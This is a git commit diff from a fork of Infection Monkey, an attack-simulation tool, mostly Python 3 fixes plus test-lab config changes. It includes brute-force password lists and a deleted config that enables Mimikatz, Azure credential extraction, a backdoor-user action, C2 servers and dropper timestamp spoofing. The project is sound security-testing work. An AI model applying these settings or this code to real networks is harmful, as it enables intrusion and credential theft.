forked from p15670423/monkey
Merge branch '393/python-3' of https://github.com/guardicore/monkey into 393/python-3
This commit is contained in:
commit
c66a0cd44c
|
@ -24,7 +24,7 @@
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.3",
|
"10.2.2.3",
|
||||||
"10.2.2.10"
|
"10.2.2.2"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"network_analysis": {
|
"network_analysis": {
|
||||||
|
|
|
@ -23,7 +23,7 @@
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.38"
|
"10.2.2.8"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"network_analysis": {
|
"network_analysis": {
|
||||||
|
|
|
@ -21,7 +21,7 @@
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.44",
|
"10.2.2.14",
|
||||||
"10.2.2.15"
|
"10.2.2.15"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
|
|
@ -22,8 +22,8 @@
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.41",
|
"10.2.2.11",
|
||||||
"10.2.2.42"
|
"10.2.2.12"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"network_analysis": {
|
"network_analysis": {
|
||||||
|
|
|
@ -23,8 +23,8 @@
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.9",
|
"10.2.2.23",
|
||||||
"10.2.2.11"
|
"10.2.2.24"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"network_analysis": {
|
"network_analysis": {
|
||||||
|
|
|
@ -5,10 +5,15 @@
|
||||||
"Password1!",
|
"Password1!",
|
||||||
"3Q=(Ge(+&w]*",
|
"3Q=(Ge(+&w]*",
|
||||||
"`))jU7L(w}",
|
"`))jU7L(w}",
|
||||||
"12345678"
|
"12345678",
|
||||||
|
"another_one",
|
||||||
|
"and_another_one",
|
||||||
|
"one_more"
|
||||||
],
|
],
|
||||||
"exploit_user_list": [
|
"exploit_user_list": [
|
||||||
"Administrator",
|
"Administrator",
|
||||||
|
"rand",
|
||||||
|
"rand2",
|
||||||
"m0nk3y",
|
"m0nk3y",
|
||||||
"user"
|
"user"
|
||||||
]
|
]
|
||||||
|
@ -23,7 +28,7 @@
|
||||||
"depth": 3,
|
"depth": 3,
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.32",
|
"10.2.2.9",
|
||||||
"10.2.1.10",
|
"10.2.1.10",
|
||||||
"10.2.0.11"
|
"10.2.0.11"
|
||||||
]
|
]
|
||||||
|
|
|
@ -21,7 +21,7 @@
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.44",
|
"10.2.2.14",
|
||||||
"10.2.2.15"
|
"10.2.2.15"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
|
|
@ -13,9 +13,9 @@ from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHand
|
||||||
|
|
||||||
DEFAULT_TIMEOUT_SECONDS = 5*60
|
DEFAULT_TIMEOUT_SECONDS = 5*60
|
||||||
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
||||||
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2-v3', 'hadoop-3', 'mssql-16',
|
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2', 'hadoop-3', 'mssql-16',
|
||||||
'mimikatz-14', 'mimikatz-15', 'final-test-struts2-23', 'final-test-struts2-24',
|
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
|
||||||
'tunneling-9', 'tunneling-10', 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
||||||
LOG_DIR_PATH = "./logs"
|
LOG_DIR_PATH = "./logs"
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
|
@ -1,202 +0,0 @@
|
||||||
{
|
|
||||||
"basic": {
|
|
||||||
"credentials": {
|
|
||||||
"exploit_password_list": [
|
|
||||||
"`))jU7L(w}",
|
|
||||||
"3Q=(Ge(+&w]*",
|
|
||||||
"^NgDvY59~8",
|
|
||||||
"Ivrrw5zEzs",
|
|
||||||
"YbS,<tpS.2av"
|
|
||||||
],
|
|
||||||
"exploit_user_list": [
|
|
||||||
"m0nk3y"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"basic_network": {
|
|
||||||
"general": {
|
|
||||||
"blocked_ips": [],
|
|
||||||
"depth": 2,
|
|
||||||
"local_network_scan": false,
|
|
||||||
"subnet_scan_list": [
|
|
||||||
"10.2.2.2",
|
|
||||||
"10.2.2.3",
|
|
||||||
"10.2.2.4",
|
|
||||||
"10.2.2.5",
|
|
||||||
"10.2.2.8",
|
|
||||||
"10.2.2.9",
|
|
||||||
"10.2.1.9",
|
|
||||||
"10.2.1.10",
|
|
||||||
"10.2.2.11",
|
|
||||||
"10.2.2.12",
|
|
||||||
"10.2.2.14",
|
|
||||||
"10.2.2.15",
|
|
||||||
"10.2.2.16",
|
|
||||||
"10.2.2.18",
|
|
||||||
"10.2.2.19",
|
|
||||||
"10.2.2.20",
|
|
||||||
"10.2.2.21",
|
|
||||||
"10.2.2.23",
|
|
||||||
"10.2.2.24"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"network_analysis": {
|
|
||||||
"inaccessible_subnets": []
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"cnc": {
|
|
||||||
"servers": {
|
|
||||||
"command_servers": [
|
|
||||||
"192.168.56.1:5000",
|
|
||||||
"158.129.18.132:5000"
|
|
||||||
],
|
|
||||||
"current_server": "192.168.56.1:5000",
|
|
||||||
"internet_services": [
|
|
||||||
"monkey.guardicore.com",
|
|
||||||
"www.google.com"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"exploits": {
|
|
||||||
"general": {
|
|
||||||
"exploiter_classes": [
|
|
||||||
"SmbExploiter",
|
|
||||||
"WmiExploiter",
|
|
||||||
"ShellShockExploiter",
|
|
||||||
"SambaCryExploiter",
|
|
||||||
"ElasticGroovyExploiter",
|
|
||||||
"Struts2Exploiter",
|
|
||||||
"WebLogicExploiter",
|
|
||||||
"HadoopExploiter"
|
|
||||||
],
|
|
||||||
"skip_exploit_if_file_exist": false
|
|
||||||
},
|
|
||||||
"ms08_067": {
|
|
||||||
"ms08_067_exploit_attempts": 5,
|
|
||||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
|
||||||
"ms08_067_remote_user_pass": "Password1!",
|
|
||||||
"remote_user_pass": "Password1!",
|
|
||||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
|
||||||
},
|
|
||||||
"sambacry": {
|
|
||||||
"sambacry_folder_paths_to_guess": [
|
|
||||||
"/",
|
|
||||||
"/mnt",
|
|
||||||
"/tmp",
|
|
||||||
"/storage",
|
|
||||||
"/export",
|
|
||||||
"/share",
|
|
||||||
"/shares",
|
|
||||||
"/home"
|
|
||||||
],
|
|
||||||
"sambacry_shares_not_to_check": [
|
|
||||||
"IPC$",
|
|
||||||
"print$"
|
|
||||||
],
|
|
||||||
"sambacry_trigger_timeout": 5
|
|
||||||
},
|
|
||||||
"smb_service": {
|
|
||||||
"smb_download_timeout": 300,
|
|
||||||
"smb_service_name": "InfectionMonkey"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"internal": {
|
|
||||||
"classes": {
|
|
||||||
"finger_classes": [
|
|
||||||
"SMBFinger",
|
|
||||||
"SSHFinger",
|
|
||||||
"PingScanner",
|
|
||||||
"HTTPFinger",
|
|
||||||
"MySQLFinger",
|
|
||||||
"MSSQLFinger",
|
|
||||||
"ElasticFinger"
|
|
||||||
],
|
|
||||||
"scanner_class": "TcpScanner"
|
|
||||||
},
|
|
||||||
"dropper": {
|
|
||||||
"dropper_date_reference_path_linux": "/bin/sh",
|
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
|
||||||
"dropper_set_date": true,
|
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
|
||||||
"dropper_try_move_first": true
|
|
||||||
},
|
|
||||||
"exploits": {
|
|
||||||
"exploit_lm_hash_list": [],
|
|
||||||
"exploit_ntlm_hash_list": [],
|
|
||||||
"exploit_ssh_keys": []
|
|
||||||
},
|
|
||||||
"general": {
|
|
||||||
"keep_tunnel_open_time": 60,
|
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
|
||||||
},
|
|
||||||
"kill_file": {
|
|
||||||
"kill_file_path_linux": "/var/run/monkey.not",
|
|
||||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
|
||||||
},
|
|
||||||
"logging": {
|
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
|
||||||
"monkey_log_path_linux": "/tmp/user-1563",
|
|
||||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
|
||||||
"send_log_to_server": true
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"monkey": {
|
|
||||||
"behaviour": {
|
|
||||||
"self_delete_in_cleanup": false,
|
|
||||||
"serialize_config": false,
|
|
||||||
"use_file_logging": true
|
|
||||||
},
|
|
||||||
"general": {
|
|
||||||
"alive": true,
|
|
||||||
"post_breach_actions": [
|
|
||||||
"BackdoorUser"
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"life_cycle": {
|
|
||||||
"max_iterations": 1,
|
|
||||||
"retry_failed_explotation": true,
|
|
||||||
"timeout_between_iterations": 100,
|
|
||||||
"victims_max_exploit": 30,
|
|
||||||
"victims_max_find": 30
|
|
||||||
},
|
|
||||||
"system_info": {
|
|
||||||
"collect_system_info": true,
|
|
||||||
"extract_azure_creds": true,
|
|
||||||
"should_use_mimikatz": true
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"network": {
|
|
||||||
"ping_scanner": {
|
|
||||||
"ping_scan_timeout": 1000
|
|
||||||
},
|
|
||||||
"tcp_scanner": {
|
|
||||||
"HTTP_PORTS": [
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
8008,
|
|
||||||
7001
|
|
||||||
],
|
|
||||||
"tcp_scan_get_banner": true,
|
|
||||||
"tcp_scan_interval": 200,
|
|
||||||
"tcp_scan_timeout": 3000,
|
|
||||||
"tcp_target_ports": [
|
|
||||||
22,
|
|
||||||
2222,
|
|
||||||
445,
|
|
||||||
135,
|
|
||||||
3389,
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
8008,
|
|
||||||
3306,
|
|
||||||
9200,
|
|
||||||
7001
|
|
||||||
]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -35,7 +35,7 @@ resource "google_compute_firewall" "monkeyzoo-in" {
|
||||||
|
|
||||||
direction = "INGRESS"
|
direction = "INGRESS"
|
||||||
priority = "65534"
|
priority = "65534"
|
||||||
source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
|
source_ranges = ["10.2.2.0/24"]
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_firewall" "monkeyzoo-out" {
|
resource "google_compute_firewall" "monkeyzoo-out" {
|
||||||
|
@ -48,7 +48,7 @@ resource "google_compute_firewall" "monkeyzoo-out" {
|
||||||
|
|
||||||
direction = "EGRESS"
|
direction = "EGRESS"
|
||||||
priority = "65534"
|
priority = "65534"
|
||||||
destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
|
destination_ranges = ["10.2.2.0/24"]
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_firewall" "tunneling-in" {
|
resource "google_compute_firewall" "tunneling-in" {
|
||||||
|
@ -60,7 +60,7 @@ resource "google_compute_firewall" "tunneling-in" {
|
||||||
}
|
}
|
||||||
|
|
||||||
direction = "INGRESS"
|
direction = "INGRESS"
|
||||||
source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
|
source_ranges = ["10.2.1.0/24"]
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_firewall" "tunneling-out" {
|
resource "google_compute_firewall" "tunneling-out" {
|
||||||
|
@ -72,8 +72,9 @@ resource "google_compute_firewall" "tunneling-out" {
|
||||||
}
|
}
|
||||||
|
|
||||||
direction = "EGRESS"
|
direction = "EGRESS"
|
||||||
destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
|
destination_ranges = ["10.2.1.0/24"]
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_firewall" "tunneling2-in" {
|
resource "google_compute_firewall" "tunneling2-in" {
|
||||||
name = "${local.resource_prefix}tunneling2-in"
|
name = "${local.resource_prefix}tunneling2-in"
|
||||||
network = "${google_compute_network.tunneling2.name}"
|
network = "${google_compute_network.tunneling2.name}"
|
||||||
|
@ -83,7 +84,7 @@ resource "google_compute_firewall" "tunneling2-in" {
|
||||||
}
|
}
|
||||||
|
|
||||||
direction = "INGRESS"
|
direction = "INGRESS"
|
||||||
source_ranges = ["10.2.1.0/27"]
|
source_ranges = ["10.2.0.0/24"]
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_firewall" "tunneling2-out" {
|
resource "google_compute_firewall" "tunneling2-out" {
|
||||||
|
@ -95,5 +96,5 @@ resource "google_compute_firewall" "tunneling2-out" {
|
||||||
}
|
}
|
||||||
|
|
||||||
direction = "EGRESS"
|
direction = "EGRESS"
|
||||||
destination_ranges = ["10.2.1.0/27"]
|
destination_ranges = ["10.2.0.0/24"]
|
||||||
}
|
}
|
||||||
|
|
|
@ -27,16 +27,17 @@ class AwsInstance(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.instance_id = urllib.request.urlopen(
|
self.instance_id = urllib.request.urlopen(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
|
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
|
||||||
self.region = self._parse_region(
|
self.region = self._parse_region(
|
||||||
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
|
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
|
||||||
|
decode())
|
||||||
except (urllib.error.URLError, IOError) as e:
|
except (urllib.error.URLError, IOError) as e:
|
||||||
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.account_id = self._extract_account_id(
|
self.account_id = self._extract_account_id(
|
||||||
urllib.request.urlopen(
|
urllib.request.urlopen(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
|
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode())
|
||||||
except (urllib.error.URLError, IOError) as e:
|
except (urllib.error.URLError, IOError) as e:
|
||||||
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
|
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
|
||||||
|
|
||||||
|
|
|
@ -84,5 +84,5 @@ class AwsService(object):
|
||||||
filtered_instances_data = filter_instance_data_from_aws_response(response)
|
filtered_instances_data = filter_instance_data_from_aws_response(response)
|
||||||
return filtered_instances_data
|
return filtered_instances_data
|
||||||
except botocore.exceptions.ClientError as e:
|
except botocore.exceptions.ClientError as e:
|
||||||
logger.warning("AWS client error while trying to get instances: " + e.message)
|
logger.warning("AWS client error while trying to get instances: " + e)
|
||||||
raise e
|
raise e
|
||||||
|
|
|
@ -4,7 +4,6 @@ import struct
|
||||||
from abc import ABCMeta, abstractmethod
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
import ipaddress
|
import ipaddress
|
||||||
from six import text_type
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -78,7 +77,7 @@ class CidrRange(NetworkRange):
|
||||||
def __init__(self, cidr_range, shuffle=True):
|
def __init__(self, cidr_range, shuffle=True):
|
||||||
super(CidrRange, self).__init__(shuffle=shuffle)
|
super(CidrRange, self).__init__(shuffle=shuffle)
|
||||||
self._cidr_range = cidr_range.strip()
|
self._cidr_range = cidr_range.strip()
|
||||||
self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
|
self._ip_network = ipaddress.ip_network(str(self._cidr_range), strict=False)
|
||||||
|
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
return "<CidrRange %s>" % (self._cidr_range,)
|
return "<CidrRange %s>" % (self._cidr_range,)
|
||||||
|
@ -151,10 +150,10 @@ class SingleIpRange(NetworkRange):
|
||||||
return self._ip_address
|
return self._ip_address
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def string_to_host(string):
|
def string_to_host(string_):
|
||||||
"""
|
"""
|
||||||
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
|
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
|
||||||
:param string: String that was entered in "Scan IP/subnet list"
|
:param string_: String that was entered in "Scan IP/subnet list"
|
||||||
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
|
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
|
||||||
"""
|
"""
|
||||||
# The most common use case is to enter ip/range into "Scan IP/subnet list"
|
# The most common use case is to enter ip/range into "Scan IP/subnet list"
|
||||||
|
@ -162,16 +161,16 @@ class SingleIpRange(NetworkRange):
|
||||||
|
|
||||||
# Try casting user's input as IP
|
# Try casting user's input as IP
|
||||||
try:
|
try:
|
||||||
ip = ipaddress.ip_address(string).exploded
|
ip = ipaddress.ip_address(string_).exploded
|
||||||
except ValueError:
|
except ValueError:
|
||||||
# Exception means that it's a domain name
|
# Exception means that it's a domain name
|
||||||
try:
|
try:
|
||||||
ip = socket.gethostbyname(string)
|
ip = socket.gethostbyname(string_)
|
||||||
domain_name = string
|
domain_name = string_
|
||||||
except socket.error:
|
except socket.error:
|
||||||
LOG.error("Your specified host: {} is not found as a domain name and"
|
LOG.error("Your specified host: {} is not found as a domain name and"
|
||||||
" it's not an IP address".format(string))
|
" it's not an IP address".format(string_))
|
||||||
return None, string
|
return None, string_
|
||||||
# If a string was entered instead of IP we presume that it was domain name and translate it
|
# If a string_ was entered instead of IP we presume that it was domain name and translate it
|
||||||
return ip, domain_name
|
return ip, domain_name
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from infection_monkey.config import WormConfiguration, GUID
|
from infection_monkey.config import WormConfiguration, GUID
|
||||||
from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
|
from infection_monkey.network.info import local_ips, check_internet_access
|
||||||
from infection_monkey.transport.http import HTTPConnectProxy
|
from infection_monkey.transport.http import HTTPConnectProxy
|
||||||
from infection_monkey.transport.tcp import TcpProxy
|
from infection_monkey.transport.tcp import TcpProxy
|
||||||
|
|
||||||
|
@ -85,7 +85,7 @@ class ControlClient(object):
|
||||||
|
|
||||||
except ConnectionError as exc:
|
except ConnectionError as exc:
|
||||||
current_server = ""
|
current_server = ""
|
||||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
LOG.warning("Error connecting to control server %s: %s", server, exc)
|
||||||
|
|
||||||
if current_server:
|
if current_server:
|
||||||
return True
|
return True
|
||||||
|
@ -112,14 +112,14 @@ class ControlClient(object):
|
||||||
monkey = {}
|
monkey = {}
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||||
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||||
data=json.dumps(monkey),
|
data=json.dumps(monkey),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -129,14 +129,14 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
||||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def send_log(log):
|
def send_log(log):
|
||||||
|
@ -144,14 +144,14 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
|
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
|
||||||
reply = requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
|
requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def load_control_config():
|
def load_control_config():
|
||||||
|
@ -163,8 +163,8 @@ class ControlClient(object):
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -191,7 +191,7 @@ class ControlClient(object):
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -261,8 +261,8 @@ class ControlClient(object):
|
||||||
return dest_file
|
return dest_file
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_exe_filename_and_size_by_host(host):
|
def get_monkey_exe_filename_and_size_by_host(host):
|
||||||
|
@ -288,8 +288,8 @@ class ControlClient(object):
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
|
|
|
@ -26,7 +26,7 @@ else:
|
||||||
try:
|
try:
|
||||||
WindowsError
|
WindowsError
|
||||||
except NameError:
|
except NameError:
|
||||||
WindowsError = None
|
WindowsError = IOError
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -104,14 +104,14 @@ class MonkeyDrops(object):
|
||||||
try:
|
try:
|
||||||
ref_stat = os.stat(dropper_date_reference_path)
|
ref_stat = os.stat(dropper_date_reference_path)
|
||||||
except OSError as exc:
|
except OSError as exc:
|
||||||
LOG.warn("Cannot set reference date using '%s', file not found",
|
LOG.warning("Cannot set reference date using '%s', file not found",
|
||||||
dropper_date_reference_path)
|
dropper_date_reference_path)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
os.utime(self._config['destination_path'],
|
os.utime(self._config['destination_path'],
|
||||||
(ref_stat.st_atime, ref_stat.st_mtime))
|
(ref_stat.st_atime, ref_stat.st_mtime))
|
||||||
except:
|
except:
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warning("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options =\
|
monkey_options =\
|
||||||
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||||
|
@ -135,7 +135,7 @@ class MonkeyDrops(object):
|
||||||
|
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
if monkey_process.poll() is not None:
|
if monkey_process.poll() is not None:
|
||||||
LOG.warn("Seems like monkey died too soon")
|
LOG.warning("Seems like monkey died too soon")
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -44,7 +44,8 @@
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter"
|
"VSFTPDExploiter",
|
||||||
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
@ -93,7 +94,8 @@
|
||||||
3306,
|
3306,
|
||||||
8008,
|
8008,
|
||||||
9200,
|
9200,
|
||||||
7001
|
7001,
|
||||||
|
8088
|
||||||
],
|
],
|
||||||
"timeout_between_iterations": 10,
|
"timeout_between_iterations": 10,
|
||||||
"use_file_logging": true,
|
"use_file_logging": true,
|
||||||
|
|
|
@ -12,7 +12,8 @@ class HostExploiter(object, metaclass=ABCMeta):
|
||||||
# Usual values are 'vulnerability' or 'brute_force'
|
# Usual values are 'vulnerability' or 'brute_force'
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
|
|
||||||
@abstractproperty
|
@property
|
||||||
|
@abstractmethod
|
||||||
def _EXPLOITED_SERVICE(self):
|
def _EXPLOITED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -73,7 +74,7 @@ class HostExploiter(object, metaclass=ABCMeta):
|
||||||
"""
|
"""
|
||||||
powershell = True if "powershell" in cmd.lower() else False
|
powershell = True if "powershell" in cmd.lower() else False
|
||||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
||||||
|
|
||||||
|
|
||||||
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||||
